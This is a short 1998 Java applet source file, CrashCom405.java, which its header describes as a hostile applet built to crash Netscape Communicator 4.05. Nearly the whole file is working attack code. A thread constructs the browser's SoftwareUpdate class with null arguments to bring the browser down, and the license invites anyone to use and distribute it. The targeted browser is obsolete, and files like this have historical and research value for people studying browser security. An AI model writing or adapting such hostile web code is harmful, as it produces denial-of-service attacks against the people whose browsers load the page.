/*  CrashCom405.java by Mark D. LaDue */

/*  April 11, 1998 */

/*  Copyright (c) 1998 Mark D. LaDue
    You may study, use, modify, and distribute this example for any purpose.
    This example is provided WITHOUT WARRANTY either expressed or implied.  */

/*  This applet exhibits another simple and elegant way to crash
    Communicator 4.05.  It is also a candidate for the world's
    smallest known hostile applet.  In order to compile the applet,
    you will need to make sure that the Communicator's classes are
    in your CLASSPATH.*/


import netscape.softupdate.*;

public class CrashCom405 extends java.applet.Applet implements Runnable{

    Thread controller = null;
    SoftwareUpdate su = null;

    public void init() {

    }

    public void start() {
        if (controller == null) {
        controller = new Thread(this);
        controller.start();
        }
    }

    public void stop() {}

    public void run() {

        su = new SoftwareUpdate(null, null);

    }

}
